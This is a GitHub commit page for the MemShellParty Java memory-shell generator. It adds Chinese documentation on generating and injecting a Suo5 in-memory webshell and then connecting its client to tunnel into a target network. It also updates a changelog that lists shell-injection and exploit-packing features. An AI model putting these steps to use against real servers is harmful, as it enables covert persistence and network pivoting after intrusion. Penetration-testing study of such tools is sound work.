Skip to content

Commit 81c2dc3

Browse files
committed
docs: add suo5 usage
1 parent 2ed4cd7 commit 81c2dc3

File tree

10 files changed

+118
-7
lines changed

10 files changed

+118
-7
lines changed

web/bun.lock

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@
1717
"fumadocs-core": "16.2.3",
1818
"fumadocs-mdx": "14.1.0",
1919
"fumadocs-ui": "16.2.3",
20-
"i18next": "^25.7.1",
20+
"i18next": "^25.7.2",
2121
"isbot": "^5.1.32",
2222
"lucide-react": "^0.556.0",
2323
"motion": "^12.23.25",
@@ -38,7 +38,7 @@
3838
"@react-router/dev": "^7.10.1",
3939
"@tailwindcss/vite": "^4.1.17",
4040
"@types/mdx": "^2.0.13",
41-
"@types/node": "^24.10.1",
41+
"@types/node": "^24.10.2",
4242
"@types/react": "^19.2.7",
4343
"@types/react-copy-to-clipboard": "^5.0.7",
4444
"@types/react-dom": "^19.2.3",
@@ -48,7 +48,7 @@
4848
"serve": "^14.2.5",
4949
"tailwindcss": "^4.1.17",
5050
"typescript": "^5.9.3",
51-
"vite": "^7.2.6",
51+
"vite": "^7.2.7",
5252
"vite-plugin-devtools-json": "^1.0.0",
5353
"vite-tsconfig-paths": "^5.1.4",
5454
},
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
---
2+
title: Suo5
3+
description: Suo5 是一款久经实战检验的高性能 HTTP 正向代理工具,持续打磨只为解决一个需求:不出网场景下的稳定正向代理。
4+
---
5+
6+
import { Step, Steps } from 'fumadocs-ui/components/steps';
7+
8+
<Callout type="info">项目地址:https://github.com/zema1/suo5</Callout>
9+
<Callout type="success">原理介绍:[https://koalr.me/posts/suo5-a-hign-performace-http-socks/](https://web.archive.org/web/20250430113018/https://koalr.me/posts/suo5-a-hign-performace-http-socks/)</Callout>
10+
11+
12+
![experience](../images/suo5.gif)
13+
14+
15+
## Suo5 v2 版本主要特性
16+
17+
- **优异的传输性能**
18+
- 全双工:借助双向 Chunked-Encoding 实现单连接双向通信,传输性能接近 FRP
19+
- 半双工:下行长连接 + 上行短连接实现,在 Nginx 反代场景下仍可保持良好性能
20+
- 短链接:上下行均使用短连接,适配多层反代和严格限制长连接的场景,作为兜底方案
21+
- **良好的服务端兼容性**
22+
- Java 支持 Tomcat、WebLogic、JBoss、Resin 等主流中间件,JDK6 ~ JDK 2x 全版本支持
23+
- .Net 支持 IIS 下所有 .Net Framework 版本 (>=2.0)
24+
- PHP 支持 Nginx/Apache 等服务器环境,PHP 5.6 ~ PHP 8.x 全版本支持
25+
- **复杂网络环境支持**
26+
- 支持一层、两层、多层反向代理下的稳定连接
27+
- 支持通过流量转发和请求重试来支持负载均衡场景
28+
- 支持配置上游代理(HTTP/SOCKS5)
29+
- **稳定可靠的工程实现**
30+
- 正确可靠的连接控制、并发管理、心跳保活、异常重连等
31+
- 完善的单元测试和集成测试保障质量
32+
33+
## 使用步骤
34+
35+
<Steps>
36+
<Step>
37+
### 选择 Suo5/Suo5v2 内存马工具
38+
39+
Suo5 目前有 [1.x](https://github.com/zema1/suo5/releases/tag/v1.3.1) 版本和 [2.x](https://github.com/zema1/suo5/releases/tag/v2.0.0) 版本,由于改动较大,因此做了两个不同的版本适配。
40+
41+
![suo5_tool_select](../images/suo5_tool_select.png)
42+
43+
</Step>
44+
<Step>
45+
### 设置流量入口特征
46+
47+
为了防止正常业务进入 Suo5 内存马影响到正常业务,需要指定流量特征进入 Suo5 内存马逻辑处理,此处使用特定请求头和请求值来标识,默认情况下是 User-Agent,请求值会随机生成
48+
49+
![suo5_config](../images/suo5_config.png)
50+
51+
</Step>
52+
<Step>
53+
### 生成并注入
54+
55+
选取合适的打包方式,并进行内存马的注入。
56+
57+
</Step>
58+
<Step>
59+
### 连接与使用
60+
61+
[zema1/suo5/releases](https://github.com/zema1/suo5/releases) 下载合适的 suo5 客户端
62+
63+
1. 如果请求头使用默认的 User-Agent,则直接通过 `--ua "xXksjas"` 来指定即可,假设生成的为 `User-Agent: xXksjas`,则通过以下命令进行连接
64+
```bash
65+
$ ./suo5 -t http://target.com/suo5.jsp --ua "xXksjas"
66+
...
67+
[INFO] 14:28 connecting to target http://target.com/suo5.jsp
68+
[INFO] 14:28 preferred connection mode: half
69+
[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
70+
[INFO] 14:28 suo5 is going to work on half mode
71+
[INFO] 14:28 starting tunnel at 127.0.0.1:1111
72+
[INFO] 14:28 creating a test connection to the remote target
73+
[INFO] 14:28 start connection to 127.0.0.1:0
74+
[INFO] 14:28 successfully connected to 127.0.0.1:0
75+
[INFO] 14:28 connection closed, 127.0.0.1:0
76+
[INFO] 14:28 congratulations! everything works fine
77+
```
78+
2. 如果请求头使用其他,例如 Referer,则需要使用 `-H "Referer: xXksjas"` 来连接,例如
79+
```bash
80+
$ ./suo5 -t http://target.com/suo5.jsp -H "Referer: xXksjas"
81+
...
82+
[INFO] 14:28 connecting to target http://target.com/suo5.jsp
83+
[INFO] 14:28 preferred connection mode: half
84+
[INFO] 14:28 handshake success, using session id 05q21upecl90yccl
85+
[INFO] 14:28 suo5 is going to work on half mode
86+
[INFO] 14:28 starting tunnel at 127.0.0.1:1111
87+
[INFO] 14:28 creating a test connection to the remote target
88+
[INFO] 14:28 start connection to 127.0.0.1:0
89+
[INFO] 14:28 successfully connected to 127.0.0.1:0
90+
[INFO] 14:28 connection closed, 127.0.0.1:0
91+
[INFO] 14:28 congratulations! everything works fine
92+
```
93+
94+
3. 后续的用法可参考官方仓库给出的 [Suo5 使用指南](https://github.com/zema1/suo5#%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97)
95+
</Step>
96+
</Steps>

web/content/docs/changelog.mdx

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,18 @@ All notable changes to this project will be documented in this file.
88
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
99
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
1010

11+
## [v2.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.4.0) - 2025-12-10
12+
13+
### Added
14+
15+
1. 支持 Suo5 V2 版本内存马生成([#118](https://github.com/ReaJason/MemShellParty/issues/118) By @ReaJason Thanks @zema1
16+
17+
### Changed
18+
19+
1. ui 探测马生成去除 jar 相关打包方式
20+
21+
**Full Changelog:** [v2.3.0...v2.4.0](https://github.com/ReaJason/MemShellParty/compare/v2.3.0...v2.4.0)
22+
1123
## [v2.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.3.0) - 2025-12-08
1224

1325
### Added
@@ -18,7 +30,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
1830
4. 支持 Tomcat Upgrade 内存马注入(仅 Tomcat8+ 可用)
1931
5. 支持添加 lambda 类名后缀开关([#97](https://github.com/ReaJason/MemShellParty/issues/97)
2032
6. 命令执行内存马与回显马支持自定义命令模板([#115](https://github.com/ReaJason/MemShellParty/issues/115) Thanks [@ViCrack](https://github.com/ViCrack)
21-
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker 方便生成 metabase 漏洞测试 payload
33+
7. 添加 ScriptEngine 绕过 Java 模块限制生成以及支持 H2URLPacker(方便生成 metabase 漏洞测试 payload)
2234
8. web 模块添加 [fumadocs](https://fumadocs.dev/) 框架,支持文档编写
2335
9. 回显马运行字节码时支持 base64 和 gzipBase64 字节码传入
2436
10. 支持 GroovyTransformJar 打包方式(fastjson 漏洞注入 [#112](https://github.com/ReaJason/MemShellParty/issues/112) Thanks [@DongHuangT1](https://github.com/DongHuangT1)
@@ -28,6 +40,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
2840

2941
1. 由于 jetty handler 依赖的类干扰,boot 容器从 jetty 改为 undertow
3042
2. 注入器和回显马添加 ok 标识仅运行一次,降低代码运行时间
43+
3. boot 接口添加 /api 前缀,web 添加 /ui 前缀
3144

3245
**Full Changelog:** [v2.2.0...v2.3.0](https://github.com/ReaJason/MemShellParty/compare/v2.2.0...v2.3.0)
3346

web/content/docs/images/suo5.gif

670 KB
Loading
62 KB
Loading
102 KB
Loading

web/content/docs/index.mdx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,7 @@ icon: Album
6363
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
6464
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
6565
- [x] 命令执行
66-
- [x] [Suo5](https://github.com/zema1/suo5)
66+
- [x] [Suo5](./suo5)
6767
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
6868
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
6969
- [x] Custom
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
11
{
2-
"title": "常见 Java 内存马"
2+
"title": "Servlets 规范内存马"
33
}

web/content/docs/meta.json

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@
1010
"what-is-memshell",
1111
"memshell",
1212
"custom-memshell",
13+
"---内存马工具---",
14+
"...(shelltool)",
1315
"---其他---",
1416
"recommend-tools"
1517
]

web/content/docs/self-build.mdx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -59,7 +59,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
5959

6060
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44)
6161
62-
下载项目根目录的 [Dockerfile](./Dockerfile)
62+
下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)
6363

6464
- ROUTE_ROOT_PATH: 前端根路由配置
6565
- CONTEXT_PATH: 后端访问前缀

0 commit comments

Comments
 (0)